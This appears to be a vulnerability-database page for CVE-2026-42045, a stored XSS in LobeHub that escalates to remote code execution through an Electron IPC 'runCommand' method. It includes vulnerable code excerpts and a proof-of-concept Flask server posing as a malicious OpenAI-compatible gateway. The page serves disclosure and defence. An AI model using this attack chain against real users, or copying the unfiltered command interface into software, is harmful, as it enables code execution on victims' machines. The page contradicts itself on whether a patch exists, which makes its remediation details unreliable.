# CVE-2026-42045: @lobehub/lobehub RCE (Medium 6.2) 📦 📦 npm Not in CISA KEV MEDIUM severity # CVE-2026-42045 — @lobehub/lobehub MEDIUM CVE-2026-42045 is a medium-severity (CVSS 6.2) Cross-site Scripting (XSS) vulnerability in @lobehub/lobehub. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime. LobeHub: Cross-Site Scripting(XSS) escalate to Remote Code Execution(RCE) Also known as[GHSA-xq4x-622m-q8fq](/vulnerability/GHSA-xq4x-622m-q8fq) Published May 12, 2026 Updated Oct 28, 2026 Affected 1 pkg Patched None yet Exploits None indexed Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS) ## Exploitation Status ### Proof-of-concept exploit code exists - CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation. Exploitation and automatability from CISA’s SSVC triage for CVE-2026-42045. ## EPSS Exploitation Probability [via FIRST.org ↗](https://www.first.org/epss/) 0.3%probability of exploitation in next 30 days Lower Risk0.00% Lower risk than most CVEs19th percentile — riskier than 19% of all scored CVEsHighest risk 0.00%0.28%0.57%0.85%0.0%0.3%Jun 26Sep 26Nov 26 Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/). ## How urgent is this, really ## Where this sits among everything scored ## Real-World Exposure 1 pkg affected How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched. 0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream `@lobehub/lobehub`npm 686downloads / week ## Description #### Summary The vulnerability was automatically discovered by an ai agent and then manually verified. LobeChat's message rendering mechanism has a stored cross-site scripting (XSS) vulnerability. Combined with the Electron main process's exposed insecure IPC interface, attackers can construct malicious payloads to achieve an attack chain from XSS to remote code execution (RCE). The LobeChat team verified this vulnerability in lobehub v2.1.23, and it also exists in the latest version. #### Details When LobeChat processes custom tags in the Render process of `src/features/Portal/Artifacts/Body/Renderer/index.tsx`, if no type match is found, it will choose to call the default method, HTMLRenderer, for HTML rendering. ``` const Renderer = memo<{ content: string; type?: string }>(({ content, type }) => { switch (type) { case 'application/lobe.artifacts.react': { return ; } case 'image/svg+xml': { return ; } case 'application/lobe.artifacts.mermaid': { return {content}; } case 'text/markdown': { return {content}; } default: { return ; } } }); export default Renderer; ``` If an attacker can induce the LLM to output content containing malicious tags, an XSS vulnerability can be created on the client side. Additionally, Lobechat's Electron main process exposes an IPC interface called `runCommand`, used to invoke system commands. This interface allows arbitrary command execution and does not filter the `command` parameter. Therefore, if an attacker can obtain a handle to `window.parent.electronAPI` via XSS and call the `runCommand` method of the IPC, the `ipcMain` process can execute arbitrary system commands with the current user's privileges. ``` @IpcMethod() async handleRunCommand({ command, description, run_in_background, timeout = 120_000, }: RunCommandParams): Promise { ... const childProcess = spawn(shellConfig.cmd, shellConfig.args, { env: process.env, shell: false, }); ... } ``` #### PoC The attacker launched a malicious OpenAI gateway on port 5001 ``` from flask import Flask, Response, request, jsonify import time import json app = Flask(__name__) fake_api_key = "sk-test" @app.route('/v1/chat/completions', methods=['POST', 'OPTIONS']) def chat_completions(): if request.method == 'OPTIONS': return Response(status=200, headers={ 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Headers': '*' }) # Check for API Key auth_header = request.headers.get('Authorization') print(auth_header) if not auth_header or auth_header != f'Bearer {fake_api_key}': return jsonify({"error": {"message": "Invalid API Key", "type": "invalid_request_error", "code": "invalid_api_key"}}), 401 def generate(): payload = """ """ # Split payload into chunks to simulate streaming chunks = [payload[i:i+10] for i in range(0, len(payload), 10)] for chunk in chunks: data = { "id": "chatcmpl-hpdoger-123", "object": "chat.completion.chunk", "created": int(time.time()), "model": "gpt-3.5-turbo", "choices": [{ "index": 0, "delta": {"content": chunk}, "finish_reason": None }] } yield f"data: {json.dumps(data)}\n\n" time.sleep(0.1) # End of stream final_data = { "id": "chatcmpl-hpdoger-123", "object": "chat.completion.chunk", "created": int(time.time()), "model": "gpt-3.5-turbo", "choices": [{ "index": 0, "delta": {}, "finish_reason": "stop" }] } yield f"data: {json.dumps(final_data)}\n\n" yield "data: [DONE]\n\n" return Response(generate(), mimetype='text/event-stream', headers={ 'Access-Control-Allow-Origin': '*', 'Access-Control-Allow-Headers': '*' }) @app.route('/v1/models', methods=['GET']) def models(): return jsonify({ "object": "list", "data": [{ "id": "gpt-3.5-turbo", "object": "model", "created": 1677610602, "owned_by": "openai" }] }) if __name__ == '__main__': print("Evil OpenAI-compatible server running on http://127.0.0.1:5001") app.run(port=5001, debug=True) ``` The victim opens the LobeChat application and configures an LLM Provider, entering the address of the HTTP server provided by the attacker. image The victim was exposed to an arbitrary command execution vulnerability while chatting image #### reproduction For attack reproduction, refer to this video. Once the victim configures the attacker's LLM provider endpoint, arbitrary commands can be executed. Here, our demonstration `opens a calculator` in the victim's environment. [https://github.com/user-attachments/assets/6383e996-9148-4e88-8e25-90260104368d](https://github.com/user-attachments/assets/6383e996-9148-4e88-8e25-90260104368d) #### Impact Affected LobeChat clients can connect to the attacker's LLM endpoint and trigger arbitrary command execution simply by sending normal conversation messages. #### Patch A patch is available at [https://github.com/lobehub/lobehub/releases/tag/v2.1.48](https://github.com/lobehub/lobehub/releases/tag/v2.1.48). ## Affected Packages 1 total Ecosystem Package Vulnerable range Fix 📦npm `@lobehub/lobehub` all versions No fix ## Detection & mitigation playbook Open-source dependency 1. ### Detect Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @lobehub/lobehub, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version. 2. ### Remediation status The records we use list no patched version of @lobehub/lobehub for CVE-2026-42045. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range. 3. ### Mitigate without a patch Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process. ## Frequently Asked Questions \### Summary The vulnerability was automatically discovered by an ai agent and then manually verified. LobeChat's message rendering mechanism has a stored cross-site scripting (XSS) vulnerability. Combined with the Electron main process's exposed insecure IPC interface, attackers can construct malicious payloads to achieve an attack chain from XSS to remote code execution (RCE). The LobeChat team verified this vulnerability in lobehub v2.1.23, and it also exists in the latest version. ### Details When LobeChat processes custom tags in the Render process of \`src/features/Portal/Artifacts/Body O3 Security · Impact-Aware SCA ### Is CVE-2026-42045 in your dependencies? Find it across npm, including transitive dependencies. [Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)